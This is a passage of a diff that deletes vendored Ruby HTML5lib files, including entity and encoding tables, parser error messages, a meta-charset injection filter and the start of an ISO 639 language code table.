-    'euml;'     => "\xc3\xab",
-    'euro;'     => "\xe2\x82\xac",
-    'exist;'    => "\xe2\x88\x83",
-    'fnof;'     => "\xc6\x92",
-    'forall;'   => "\xe2\x88\x80",
-    'frac12'    => "\xc2\xbd",
-    'frac12;'   => "\xc2\xbd",
-    'frac14'    => "\xc2\xbc",
-    'frac14;'   => "\xc2\xbc",
-    'frac34'    => "\xc2\xbe",
-    'frac34;'   => "\xc2\xbe",
-    'frasl;'    => "\xe2\x81\x84",
-    'gamma;'    => "\xce\xb3",
-    'ge;'       => "\xe2\x89\xa5",
-    'gt'        => '>',
-    'gt;'       => '>',
-    'hArr;'     => "\xe2\x87\x94",
-    'harr;'     => "\xe2\x86\x94",
-    'hearts;'   => "\xe2\x99\xa5",
-    'hellip;'   => "\xe2\x80\xa6",
-    'iacute'    => "\xc3\xad",
-    'iacute;'   => "\xc3\xad",
-    'icirc'     => "\xc3\xae",
-    'icirc;'    => "\xc3\xae",
-    'iexcl'     => "\xc2\xa1",
-    'iexcl;'    => "\xc2\xa1",
-    'igrave'    => "\xc3\xac",
-    'igrave;'   => "\xc3\xac",
-    'image;'    => "\xe2\x84\x91",
-    'infin;'    => "\xe2\x88\x9e",
-    'int;'      => "\xe2\x88\xab",
-    'iota;'     => "\xce\xb9",
-    'iquest'    => "\xc2\xbf",
-    'iquest;'   => "\xc2\xbf",
-    'isin;'     => "\xe2\x88\x88",
-    'iuml'      => "\xc3\xaf",
-    'iuml;'     => "\xc3\xaf",
-    'kappa;'    => "\xce\xba",
-    'lArr;'     => "\xe2\x87\x90",
-    'lambda;'   => "\xce\xbb",
-    'lang;'     => "\xe3\x80\x88",
-    'laquo'     => "\xc2\xab",
-    'laquo;'    => "\xc2\xab",
-    'larr;'     => "\xe2\x86\x90",
-    'lceil;'    => "\xe2\x8c\x88",
-    'ldquo;'    => "\xe2\x80\x9c",
-    'le;'       => "\xe2\x89\xa4",
-    'lfloor;'   => "\xe2\x8c\x8a",
-    'lowast;'   => "\xe2\x88\x97",
-    'loz;'      => "\xe2\x97\x8a",
-    'lrm;'      => "\xe2\x80\x8e",
-    'lsaquo;'   => "\xe2\x80\xb9",
-    'lsquo;'    => "\xe2\x80\x98",
-    'lt'        => '<',
-    'lt;'       => '<',
-    'macr'      => "\xc2\xaf",
-    'macr;'     => "\xc2\xaf",
-    'mdash;'    => "\xe2\x80\x94",
-    'micro'     => "\xc2\xb5",
-    'micro;'    => "\xc2\xb5",
-    'middot'    => "\xc2\xb7",
-    'middot;'   => "\xc2\xb7",
-    'minus;'    => "\xe2\x88\x92",
-    'mu;'       => "\xce\xbc",
-    'nabla;'    => "\xe2\x88\x87",
-    'nbsp'      => "\xc2\xa0",
-    'nbsp;'     => "\xc2\xa0",
-    'ndash;'    => "\xe2\x80\x93",
-    'ne;'       => "\xe2\x89\xa0",
-    'ni;'       => "\xe2\x88\x8b",
-    'not'       => "\xc2\xac",
-    'not;'      => "\xc2\xac",
-    'notin;'    => "\xe2\x88\x89",
-    'nsub;'     => "\xe2\x8a\x84",
-    'ntilde'    => "\xc3\xb1",
-    'ntilde;'   => "\xc3\xb1",
-    'nu;'       => "\xce\xbd",
-    'oacute'    => "\xc3\xb3",
-    'oacute;'   => "\xc3\xb3",
-    'ocirc'     => "\xc3\xb4",
-    'ocirc;'    => "\xc3\xb4",
-    'oelig;'    => "\xc5\x93",
-    'ograve'    => "\xc3\xb2",
-    'ograve;'   => "\xc3\xb2",
-    'oline;'    => "\xe2\x80\xbe",
-    'omega;'    => "\xcf\x89",
-    'omicron;'  => "\xce\xbf",
-    'oplus;'    => "\xe2\x8a\x95",
-    'or;'       => "\xe2\x88\xa8",
-    'ordf'      => "\xc2\xaa",
-    'ordf;'     => "\xc2\xaa",
-    'ordm'      => "\xc2\xba",
-    'ordm;'     => "\xc2\xba",
-    'oslash'    => "\xc3\xb8",
-    'oslash;'   => "\xc3\xb8",
-    'otilde'    => "\xc3\xb5",
-    'otilde;'   => "\xc3\xb5",
-    'otimes;'   => "\xe2\x8a\x97",
-    'ouml'      => "\xc3\xb6",
-    'ouml;'     => "\xc3\xb6",
-    'para'      => "\xc2\xb6",
-    'para;'     => "\xc2\xb6",
-    'part;'     => "\xe2\x88\x82",
-    'permil;'   => "\xe2\x80\xb0",
-    'perp;'     => "\xe2\x8a\xa5",
-    'phi;'      => "\xcf\x86",
-    'pi;'       => "\xcf\x80",
-    'piv;'      => "\xcf\x96",
-    'plusmn'    => "\xc2\xb1",
-    'plusmn;'   => "\xc2\xb1",
-    'pound'     => "\xc2\xa3",
-    'pound;'    => "\xc2\xa3",
-    'prime;'    => "\xe2\x80\xb2",
-    'prod;'     => "\xe2\x88\x8f",
-    'prop;'     => "\xe2\x88\x9d",
-    'psi;'      => "\xcf\x88",
-    'quot'      => '"',
-    'quot;'     => '"',
-    'rArr;'     => "\xe2\x87\x92",
-    'radic;'    => "\xe2\x88\x9a",
-    'rang;'     => "\xe3\x80\x89",
-    'raquo'     => "\xc2\xbb",
-    'raquo;'    => "\xc2\xbb",
-    'rarr;'     => "\xe2\x86\x92",
-    'rceil;'    => "\xe2\x8c\x89",
-    'rdquo;'    => "\xe2\x80\x9d",
-    'real;'     => "\xe2\x84\x9c",
-    'reg'       => "\xc2\xae",
-    'reg;'      => "\xc2\xae",
-    'rfloor;'   => "\xe2\x8c\x8b",
-    'rho;'      => "\xcf\x81",
-    'rlm;'      => "\xe2\x80\x8f",
-    'rsaquo;'   => "\xe2\x80\xba",
-    'rsquo;'    => "\xe2\x80\x99",
-    'sbquo;'    => "\xe2\x80\x9a",
-    'scaron;'   => "\xc5\xa1",
-    'sdot;'     => "\xe2\x8b\x85",
-    'sect'      => "\xc2\xa7",
-    'sect;'     => "\xc2\xa7",
-    'shy'       => "\xc2\xad",
-    'shy;'      => "\xc2\xad",
-    'sigma;'    => "\xcf\x83",
-    'sigmaf;'   => "\xcf\x82",
-    'sim;'      => "\xe2\x88\xbc",
-    'spades;'   => "\xe2\x99\xa0",
-    'sub;'      => "\xe2\x8a\x82",
-    'sube;'     => "\xe2\x8a\x86",
-    'sum;'      => "\xe2\x88\x91",
-    'sup1'      => "\xc2\xb9",
-    'sup1;'     => "\xc2\xb9",
-    'sup2'      => "\xc2\xb2",
-    'sup2;'     => "\xc2\xb2",
-    'sup3'      => "\xc2\xb3",
-    'sup3;'     => "\xc2\xb3",
-    'sup;'      => "\xe2\x8a\x83",
-    'supe;'     => "\xe2\x8a\x87",
-    'szlig'     => "\xc3\x9f",
-    'szlig;'    => "\xc3\x9f",
-    'tau;'      => "\xcf\x84",
-    'there4;'   => "\xe2\x88\xb4",
-    'theta;'    => "\xce\xb8",
-    'thetasym;' => "\xcf\x91",
-    'thinsp;'   => "\xe2\x80\x89",
-    'thorn'     => "\xc3\xbe",
-    'thorn;'    => "\xc3\xbe",
-    'tilde;'    => "\xcb\x9c",
-    'times'     => "\xc3\x97",
-    'times;'    => "\xc3\x97",
-    'trade;'    => "\xe2\x84\xa2",
-    'uArr;'     => "\xe2\x87\x91",
-    'uacute'    => "\xc3\xba",
-    'uacute;'   => "\xc3\xba",
-    'uarr;'     => "\xe2\x86\x91",
-    'ucirc'     => "\xc3\xbb",
-    'ucirc;'    => "\xc3\xbb",
-    'ugrave'    => "\xc3\xb9",
-    'ugrave;'   => "\xc3\xb9",
-    'uml'       => "\xc2\xa8",
-    'uml;'      => "\xc2\xa8",
-    'upsih;'    => "\xcf\x92",
-    'upsilon;'  => "\xcf\x85",
-    'uuml'      => "\xc3\xbc",
-    'uuml;'     => "\xc3\xbc",
-    'weierp;'   => "\xe2\x84\x98",
-    'xi;'       => "\xce\xbe",
-    'yacute'    => "\xc3\xbd",
-    'yacute;'   => "\xc3\xbd",
-    'yen'       => "\xc2\xa5",
-    'yen;'      => "\xc2\xa5",
-    'yuml'      => "\xc3\xbf",
-    'yuml;'     => "\xc3\xbf",
-    'zeta;'     => "\xce\xb6",
-    'zwj;'      => "\xe2\x80\x8d",
-    'zwnj;'     => "\xe2\x80\x8c"
-  }
-
-  ENCODINGS = %w[
-      ansi_x3.4-1968
-      iso-ir-6
-      ansi_x3.4-1986
-      iso_646.irv:1991
-      ascii
-      iso646-us
-      us-ascii
-      us
-      ibm367
-      cp367
-      csascii
-      ks_c_5601-1987
-      korean
-      iso-2022-kr
-      csiso2022kr
-      euc-kr
-      iso-2022-jp
-      csiso2022jp
-      iso-2022-jp-2
-      iso-ir-58
-      chinese
-      csiso58gb231280
-      iso_8859-1:1987
-      iso-ir-100
-      iso_8859-1
-      iso-8859-1
-      latin1
-      l1
-      ibm819
-      cp819
-      csisolatin1
-      iso_8859-2:1987
-      iso-ir-101
-      iso_8859-2
-      iso-8859-2
-      latin2
-      l2
-      csisolatin2
-      iso_8859-3:1988
-      iso-ir-109
-      iso_8859-3
-      iso-8859-3
-      latin3
-      l3
-      csisolatin3
-      iso_8859-4:1988
-      iso-ir-110
-      iso_8859-4
-      iso-8859-4
-      latin4
-      l4
-      csisolatin4
-      iso_8859-6:1987
-      iso-ir-127
-      iso_8859-6
-      iso-8859-6
-      ecma-114
-      asmo-708
-      arabic
-      csisolatinarabic
-      iso_8859-7:1987
-      iso-ir-126
-      iso_8859-7
-      iso-8859-7
-      elot_928
-      ecma-118
-      greek
-      greek8
-      csisolatingreek
-      iso_8859-8:1988
-      iso-ir-138
-      iso_8859-8
-      iso-8859-8
-      hebrew
-      csisolatinhebrew
-      iso_8859-5:1988
-      iso-ir-144
-      iso_8859-5
-      iso-8859-5
-      cyrillic
-      csisolatincyrillic
-      iso_8859-9:1989
-      iso-ir-148
-      iso_8859-9
-      iso-8859-9
-      latin5
-      l5
-      csisolatin5
-      iso-8859-10
-      iso-ir-157
-      l6
-      iso_8859-10:1992
-      csisolatin6
-      latin6
-      hp-roman8
-      roman8
-      r8
-      ibm037
-      cp037
-      csibm037
-      ibm424
-      cp424
-      csibm424
-      ibm437
-      cp437
-      437
-      cspc8codepage437
-      ibm500
-      cp500
-      csibm500
-      ibm775
-      cp775
-      cspc775baltic
-      ibm850
-      cp850
-      850
-      cspc850multilingual
-      ibm852
-      cp852
-      852
-      cspcp852
-      ibm855
-      cp855
-      855
-      csibm855
-      ibm857
-      cp857
-      857
-      csibm857
-      ibm860
-      cp860
-      860
-      csibm860
-      ibm861
-      cp861
-      861
-      cp-is
-      csibm861
-      ibm862
-      cp862
-      862
-      cspc862latinhebrew
-      ibm863
-      cp863
-      863
-      csibm863
-      ibm864
-      cp864
-      csibm864
-      ibm865
-      cp865
-      865
-      csibm865
-      ibm866
-      cp866
-      866
-      csibm866
-      ibm869
-      cp869
-      869
-      cp-gr
-      csibm869
-      ibm1026
-      cp1026
-      csibm1026
-      koi8-r
-      cskoi8r
-      koi8-u
-      big5-hkscs
-      ptcp154
-      csptcp154
-      pt154
-      cp154
-      utf-7
-      utf-16be
-      utf-16le
-      utf-16
-      utf-8
-      iso-8859-13
-      iso-8859-14
-      iso-ir-199
-      iso_8859-14:1998
-      iso_8859-14
-      latin8
-      iso-celtic
-      l8
-      iso-8859-15
-      iso_8859-15
-      iso-8859-16
-      iso-ir-226
-      iso_8859-16:2001
-      iso_8859-16
-      latin10
-      l10
-      gbk
-      cp936
-      ms936
-      gb18030
-      shift_jis
-      ms_kanji
-      csshiftjis
-      euc-jp
-      gb2312
-      big5
-      csbig5
-      windows-1250
-      windows-1251
-      windows-1252
-      windows-1253
-      windows-1254
-      windows-1255
-      windows-1256
-      windows-1257
-      windows-1258
-      tis-620
-      hz-gb-2312
-  ]
-
-  E = {
-      "null-character" =>
-         _("Null character in input stream, replaced with U+FFFD."),
-      "incorrectly-placed-solidus" =>
-         _("Solidus (/) incorrectly placed in tag."),
-      "incorrect-cr-newline-entity" =>
-         _("Incorrect CR newline entity, replaced with LF."),
-      "illegal-windows-1252-entity" =>
-         _("Entity used with illegal number (windows-1252 reference)."),
-      "cant-convert-numeric-entity" =>
-         _("Numeric entity couldn't be converted to character " +
-           "(codepoint U+%(charAsInt)08x)."),
-      "illegal-codepoint-for-numeric-entity" =>
-         _("Numeric entity represents an illegal codepoint=> " +
-           "U+%(charAsInt)08x."),
-      "numeric-entity-without-semicolon" =>
-         _("Numeric entity didn't end with ';'."),
-      "expected-numeric-entity-but-got-eof" =>
-         _("Numeric entity expected. Got end of file instead."),
-      "expected-numeric-entity" =>
-         _("Numeric entity expected but none found."),
-      "named-entity-without-semicolon" =>
-         _("Named entity didn't end with ';'."),
-      "expected-named-entity" =>
-         _("Named entity expected. Got none."),
-      "attributes-in-end-tag" =>
-         _("End tag contains unexpected attributes."),
-      "expected-tag-name-but-got-right-bracket" =>
-         _("Expected tag name. Got '>' instead."),
-      "expected-tag-name-but-got-question-mark" =>
-         _("Expected tag name. Got '?' instead. (HTML doesn't " +
-           "support processing instructions.)"),
-      "expected-tag-name" =>
-         _("Expected tag name. Got something else instead"),
-      "expected-closing-tag-but-got-right-bracket" =>
-         _("Expected closing tag. Got '>' instead. Ignoring '</>'."),
-      "expected-closing-tag-but-got-eof" =>
-         _("Expected closing tag. Unexpected end of file."),
-      "expected-closing-tag-but-got-char" =>
-         _("Expected closing tag. Unexpected character '%(data)' found."),
-      "eof-in-tag-name" =>
-         _("Unexpected end of file in the tag name."),
-      "expected-attribute-name-but-got-eof" =>
-         _("Unexpected end of file. Expected attribute name instead."),
-      "eof-in-attribute-name" =>
-         _("Unexpected end of file in attribute name."),
-      "duplicate-attribute" =>
-         _("Dropped duplicate attribute on tag."),
-      "expected-end-of-tag-name-but-got-eof" =>
-         _("Unexpected end of file. Expected = or end of tag."),
-      "expected-attribute-value-but-got-eof" =>
-         _("Unexpected end of file. Expected attribute value."),
-      "eof-in-attribute-value-double-quote" =>
-         _("Unexpected end of file in attribute value (\")."),
-      "eof-in-attribute-value-single-quote" =>
-         _("Unexpected end of file in attribute value (')."),
-      "eof-in-attribute-value-no-quotes" =>
-         _("Unexpected end of file in attribute value."),
-      "expected-dashes-or-doctype" =>
-         _("Expected '--' or 'DOCTYPE'. Not found."),
-      "incorrect-comment" =>
-         _("Incorrect comment."),
-      "eof-in-comment" =>
-         _("Unexpected end of file in comment."),
-      "eof-in-comment-end-dash" =>
-         _("Unexpected end of file in comment (-)"),
-      "unexpected-dash-after-double-dash-in-comment" =>
-         _("Unexpected '-' after '--' found in comment."),
-      "eof-in-comment-double-dash" =>
-         _("Unexpected end of file in comment (--)."),
-      "unexpected-char-in-comment" =>
-         _("Unexpected character in comment found."),
-      "need-space-after-doctype" =>
-         _("No space after literal string 'DOCTYPE'."),
-      "expected-doctype-name-but-got-right-bracket" =>
-         _("Unexpected > character. Expected DOCTYPE name."),
-      "expected-doctype-name-but-got-eof" =>
-         _("Unexpected end of file. Expected DOCTYPE name."),
-      "eof-in-doctype-name" =>
-         _("Unexpected end of file in DOCTYPE name."),
-      "eof-in-doctype" =>
-         _("Unexpected end of file in DOCTYPE."),
-      "expected-space-or-right-bracket-in-doctype" =>
-         _("Expected space or '>'. Got '%(data)'"),
-      "unexpected-end-of-doctype" =>
-         _("Unexpected end of DOCTYPE."),
-      "unexpected-char-in-doctype" =>
-         _("Unexpected character in DOCTYPE."),
-      "eof-in-bogus-doctype" =>
-         _("Unexpected end of file in bogus doctype."),
-      "eof-in-innerhtml" =>
-         _("Unexpected EOF in inner html mode."),
-      "unexpected-doctype" =>
-         _("Unexpected DOCTYPE. Ignored."),
-      "non-html-root" =>
-         _("html needs to be the first start tag."),
-      "expected-doctype-but-got-eof" =>
-         _("Unexpected End of file. Expected DOCTYPE."),
-      "unknown-doctype" =>
-         _("Erroneous DOCTYPE."),
-      "expected-doctype-but-got-chars" =>
-         _("Unexpected non-space characters. Expected DOCTYPE."),
-      "expected-doctype-but-got-start-tag" =>
-         _("Unexpected start tag (%(name)). Expected DOCTYPE."),
-      "expected-doctype-but-got-end-tag" =>
-         _("Unexpected end tag (%(name)). Expected DOCTYPE."),
-      "end-tag-after-implied-root" =>
-         _("Unexpected end tag (%(name)) after the (implied) root element."),
-      "expected-named-closing-tag-but-got-eof" =>
-         _("Unexpected end of file. Expected end tag (%(name))."),
-      "two-heads-are-not-better-than-one" =>
-         _("Unexpected start tag head in existing head. Ignored."),
-      "unexpected-end-tag" =>
-         _("Unexpected end tag (%(name)). Ignored."),
-      "unexpected-start-tag-out-of-my-head" =>
-         _("Unexpected start tag (%(name)) that can be in head. Moved."),
-      "unexpected-start-tag" =>
-         _("Unexpected start tag (%(name))."),
-      "missing-end-tag" =>
-         _("Missing end tag (%(name))."),
-      "missing-end-tags" =>
-         _("Missing end tags (%(name))."),
-      "unexpected-start-tag-implies-end-tag" =>
-         _("Unexpected start tag (%(startName)) " +
-           "implies end tag (%(endName))."),
-      "unexpected-start-tag-treated-as" =>
-         _("Unexpected start tag (%(originalName)). Treated as %(newName)."),
-      "deprecated-tag" =>
-         _("Unexpected start tag %(name). Don't use it!"),
-      "unexpected-start-tag-ignored" =>
-         _("Unexpected start tag %(name). Ignored."),
-      "expected-one-end-tag-but-got-another" =>
-         _("Unexpected end tag (%(gotName)). " +
-           "Missing end tag (%(expectedName))."),
-      "end-tag-too-early" =>
-         _("End tag (%(name)) seen too early. Expected other end tag."),
-      "end-tag-too-early-named" =>
-         _("Unexpected end tag (%(gotName)). Expected end tag (%(expectedName))."),
-      "end-tag-too-early-ignored" =>
-         _("End tag (%(name)) seen too early. Ignored."),
-      "adoption-agency-1.1" =>
-         _("End tag (%(name)) violates step 1, " +
-           "paragraph 1 of the adoption agency algorithm."),
-      "adoption-agency-1.2" =>
-         _("End tag (%(name)) violates step 1, " +
-           "paragraph 2 of the adoption agency algorithm."),
-      "adoption-agency-1.3" =>
-         _("End tag (%(name)) violates step 1, " +
-           "paragraph 3 of the adoption agency algorithm."),
-      "unexpected-end-tag-treated-as" =>
-         _("Unexpected end tag (%(originalName)). Treated as %(newName)."),
-      "no-end-tag" =>
-         _("This element (%(name)) has no end tag."),
-      "unexpected-implied-end-tag-in-table" =>
-         _("Unexpected implied end tag (%(name)) in the table phase."),
-      "unexpected-implied-end-tag-in-table-body" =>
-         _("Unexpected implied end tag (%(name)) in the table body phase."),
-      "unexpected-char-implies-table-voodoo" =>
-         _("Unexpected non-space characters in " +
-           "table context caused voodoo mode."),
-      "unexpected-start-tag-implies-table-voodoo" =>
-         _("Unexpected start tag (%(name)) in " +
-           "table context caused voodoo mode."),
-      "unexpected-end-tag-implies-table-voodoo" =>
-         _("Unexpected end tag (%(name)) in " +
-           "table context caused voodoo mode."),
-      "unexpected-cell-in-table-body" =>
-         _("Unexpected table cell start tag (%(name)) " +
-           "in the table body phase."),
-      "unexpected-cell-end-tag" =>
-         _("Got table cell end tag (%(name)) " +
-           "while required end tags are missing."),
-      "unexpected-end-tag-in-table-body" =>
-         _("Unexpected end tag (%(name)) in the table body phase. Ignored."),
-      "unexpected-implied-end-tag-in-table-row" =>
-         _("Unexpected implied end tag (%(name)) in the table row phase."),
-      "unexpected-end-tag-in-table-row" =>
-         _("Unexpected end tag (%(name)) in the table row phase. Ignored."),
-      "unexpected-select-in-select" =>
-         _("Unexpected select start tag in the select phase " +
-           "implies select start tag."),
-      "unexpected-start-tag-in-select" =>
-         _("Unexpected start tag token (%(name)) in the select phase. " +
-           "Ignored."),
-      "unexpected-end-tag-in-select" =>
-         _("Unexpected end tag (%(name)) in the select phase. Ignored."),
-      "unexpected-char-after-body" =>
-         _("Unexpected non-space characters in the after body phase."),
-      "unexpected-start-tag-after-body" =>
-         _("Unexpected start tag token (%(name))" +
-           " in the after body phase."),
-      "unexpected-end-tag-after-body" =>
-         _("Unexpected end tag token (%(name))" +
-           " in the after body phase."),
-      "unexpected-char-in-frameset" =>
-         _("Unepxected characters in the frameset phase. Characters ignored."),
-      "unexpected-start-tag-in-frameset" =>
-         _("Unexpected start tag token (%(name))" +
-           " in the frameset phase. Ignored."),
-      "unexpected-frameset-in-frameset-innerhtml" =>
-         _("Unexpected end tag token (frameset) " +
-           "in the frameset phase (innerHTML)."),
-      "unexpected-end-tag-in-frameset" =>
-         _("Unexpected end tag token (%(name))" +
-           " in the frameset phase. Ignored."),
-      "unexpected-char-after-frameset" =>
-         _("Unexpected non-space characters in the " +
-           "after frameset phase. Ignored."),
-      "unexpected-start-tag-after-frameset" =>
-         _("Unexpected start tag (%(name))" +
-           " in the after frameset phase. Ignored."),
-      "unexpected-end-tag-after-frameset" =>
-         _("Unexpected end tag (%(name))" +
-           " in the after frameset phase. Ignored."),
-      "expected-eof-but-got-char" =>
-         _("Unexpected non-space characters. Expected end of file."),
-      "expected-eof-but-got-start-tag" =>
-         _("Unexpected start tag (%(name))" +
-           ". Expected end of file."),
-      "expected-eof-but-got-end-tag" =>
-         _("Unexpected end tag (%(name))" +
-           ". Expected end of file."),
-      "unexpected-end-table-in-caption" =>
-        _("Unexpected end table tag in caption. Generates implied end caption."),
-      "end-html-in-innerhtml" => _("Unexpected html end tag in inner html mode.")
-  }
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/base.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/base.rb
deleted file mode 100644
index 0cb023d2..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/base.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'delegate'
-require 'enumerator'
-
-module HTML5
-  module Filters
-    class Base < SimpleDelegator
-      include Enumerable
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/inject_meta_charset.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/inject_meta_charset.rb
deleted file mode 100644
index c998bf9c..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/inject_meta_charset.rb
+++ /dev/null
@@ -1,82 +0,0 @@
-require 'html5/filters/base'
-
-module HTML5
-  module Filters
-    class InjectMetaCharset < Base
-      def initialize(source, encoding)
-        super(source)
-        @encoding = encoding
-      end
-
-      def each
-        state = :pre_head
-        meta_found = @encoding.nil?
-        pending = []
-
-        __getobj__.each do |token|
-          case token[:type]
-          when :StartTag
-            state = :in_head if token[:name].downcase == "head"
-
-          when :EmptyTag
-            if token[:name].downcase == "meta"
-              # replace charset with actual encoding
-              token[:data].each_with_index do |(name, value), index|
-                if name == 'charset'
-                  token[:data][index][1] = @encoding
-                  meta_found = true
-                end
-              end
-
-              # replace charset with actual encoding
-              has_http_equiv_content_type = false
-              content_index = -1
-              token[:data].each_with_index do |(name, value), i|
-                if name.downcase == 'charset'
-                  token[:data][i] = ['charset', @encoding]
-                  meta_found = true
-                  break
-                elsif name == 'http-equiv' and value.downcase == 'content-type'
-                  has_http_equiv_content_type = true
-                elsif name == 'content'
-                  content_index = i
-                end
-              end
-
-              if !meta_found
-                if has_http_equiv_content_type && content_index >= 0
-                  token[:data][content_index][1] = 'text/html; charset=%s' % @encoding
-                  meta_found = true
-                end
-              end
-
-            elsif token[:name].downcase == "head" && !meta_found
-              # insert meta into empty head
-              yield :type => :StartTag, :name => "head", :data => token[:data]
-              yield :type => :EmptyTag, :name => "meta", :data => [["charset", @encoding]]
-              yield :type => :EndTag,   :name => "head"
-              meta_found = true
-              next
-            end
-
-          when :EndTag
-            if token[:name].downcase == "head" && pending.any?
-              # insert meta into head (if necessary) and flush pending queue
-              yield pending.shift
-              yield :type => :EmptyTag, :name => "meta", :data => [["charset", @encoding]] if !meta_found
-              yield pending.shift while pending.any?
-              meta_found = true
-              state = :post_head
-            end
-          end
-
-          if state == :in_head
-            pending << token
-          else
-            yield token
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/iso639codes.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/iso639codes.rb
deleted file mode 100755
index ce3c9623..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/iso639codes.rb
+++ /dev/null
@@ -1,752 +0,0 @@
-# borrowed from feedvalidator, original copyright license is
-#
-# Copyright (c) 2002-2006, Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-# SOFTWARE.
-
-ISO_LANG = {
-   'aa' => 'Afar',
-   'ab' => 'Abkhazian',
-   'ae' => 'Avestan',
-   'af' => 'Afrikaans',
-   'ak' => 'Akan',
-   'am' => 'Amharic',
-   'an' => 'Aragonese',
-   'ar' => 'Arabic',
-   'as' => 'Assamese',
-   'av' => 'Avaric',
-   'ay' => 'Aymara',
-   'az' => 'Azerbaijani',
-   'ba' => 'Bashkir',
-   'be' => 'Byelorussian',
-   'bg' => 'Bulgarian',
-   'bh' => 'Bihari',
-   'bi' => 'Bislama',
-   'bm' => 'Bambara',
-   'bn' => 'Bengali;Bangla',
-   'bo' => 'Tibetan',
-   'br' => 'Breton',
-   'bs' => 'Bosnian',
-   'ca' => 'Catalan',
-   'ce' => 'Chechen',
-   'ch' => 'Chamorro',
-   'co' => 'Corsican',
-   'cr' => 'Cree',
-   'cs' => 'Czech',
-   'cu' => 'Church Slavic',
-   'cv' => 'Chuvash',
-   'cy' => 'Welsh',
-   'da' => 'Danish',
-   'de' => 'German',
-   'dv' => 'Divehi',
-   'dz' => 'Dzongkha',
-   'ee' => 'Ewe',
-   'el' => 'Greek',
-   'en' => 'English',
-   'eo' => 'Esperanto',
-   'es' => 'Spanish',
-   'et' => 'Estonian',
-   'eu' => 'Basque',
-   'fa' => 'Persian (Farsi)',
-   'ff' => 'Fulah',
-   'fi' => 'Finnish',
-   'fj' => 'Fiji',
-   'fo' => 'Faroese',
-   'fr' => 'French',
-   'fy' => 'Frisian, Western',
-   'ga' => 'Irish',
-   'gd' => 'Scots Gaelic',
-   'gl' => 'Galician',
-   'gn' => 'Guarani',
-   'gu' => 'Gujarati',
-   'gv' => 'Manx',
-   'ha' => 'Hausa',
-   'he' => 'Hebrew',
-   'hi' => 'Hindi',
-   'ho' => 'Hiri Motu',
-   'hr' => 'Croatian',
-   'ht' => 'Haitian',
-   'hu' => 'Hungarian',
-   'hy' => 'Armenian',
-   'hz' => 'Herero',
-   'ia' => 'Interlingua',
-   'id' => 'Indonesian',
-   'ie' => 'Interlingue',
-   'ig' => 'Igbo',
-   'ii' => 'Sichuan Yi',
-   'ik' => 'Inupiak',
-   'io' => 'Ido',
-   'is' => 'Icelandic',
-   'it' => 'Italian',
-   'iu' => 'Inuktitut',
-   'ja' => 'Japanese',
-   'jv' => 'Javanese',
-   'ka' => 'Georgian',
-   'kg' => 'Kongo',
-   'ki' => 'Kikuyu; Gikuyu',
-   'kj' => 'Kuanyama; Kwanyama',
-   'kk' => 'Kazakh',
-   'kl' => 'Greenlandic',
-   'km' => 'Cambodian',
-   'kn' => 'Kannada',
-   'ko' => 'Korean',
-   'kr' => 'Kanuri',
-   'ks' => 'Kashmiri',
-   'ku' => 'Kurdish',
-   'kv' => 'Komi',
-   'kw' => 'Cornish',
-   'ky' => 'Kirghiz',
-   'la' => 'Latin',
-   'lb' => 'Letzeburgesch; Luxembourgish',
-   'lg' => 'Ganda',
-   'li' => 'Limburgan; Limburger, Limburgish',
-   'ln' => 'Lingala',
-   'lo' => 'Lao',
-   'lt' => 'Lithuanian',
-   'lu' => 'Luba-Katanga',
-   'lv' => 'Latvian',
-   'mg' => 'Malagasy',
-   'mh' => 'Marshallese',
-   'mi' => 'Maori',
-   'mk' => 'Macedonian',
-   'ml' => 'Malayalam',
-   'mn' => 'Mongolian',
-   'mo' => 'Moldavian',
-   'mr' => 'Marathi',
-   'ms' => 'Malay',
-   'mt' => 'Maltese',
-   'my' => 'Burmese',
-   'na' => 'Nauru',
-   'nb' => 'Norwegian Bokmal',
-   'nd' => 'Ndebele, North',
-   'ne' => 'Nepali',
-   'ng' => 'Ndonga',
-   'nl' => 'Dutch',
-   'nn' => 'Norwegian Nynorsk',
-   'no' => 'Norwegian',
-   'nr' => 'Ndebele, South',
-   'nv' => 'Navaho; Navajo',
-   'ny' => 'Chewa; Chichewa; Nyanha',
-   'oc' => 'Occitan',
-   'oj' => 'Ojibwa',
-   'om' => 'Afan (Oromo)',
-   'or' => 'Oriya',
-   'os' => 'Ossetian; Ossetic',
-   'pa' => 'Punjabi',
-   'pi' => 'Pali',
-   'pl' => 'Polish',
-   'ps' => 'Pushto',
-   'pt' => 'Portuguese',
-   'qu' => 'Quechua',
-   'rm' => 'Rhaeto-Romance',
-   'rn' => 'Kurundi',
-   'ro' => 'Romanian',
-   'ru' => 'Russian',
-   'rw' => 'Kinyarwanda',
-   'sa' => 'Sanskrit',
-   'sc' => 'Sardinian',
-   'sd' => 'Sindhi',
-   'se' => 'Northern Sami',
-   'sg' => 'Sangho',
-   'sh' => 'Serbo-Croatian',
-   'si' => 'Singhalese',
-   'sk' => 'Slovak',
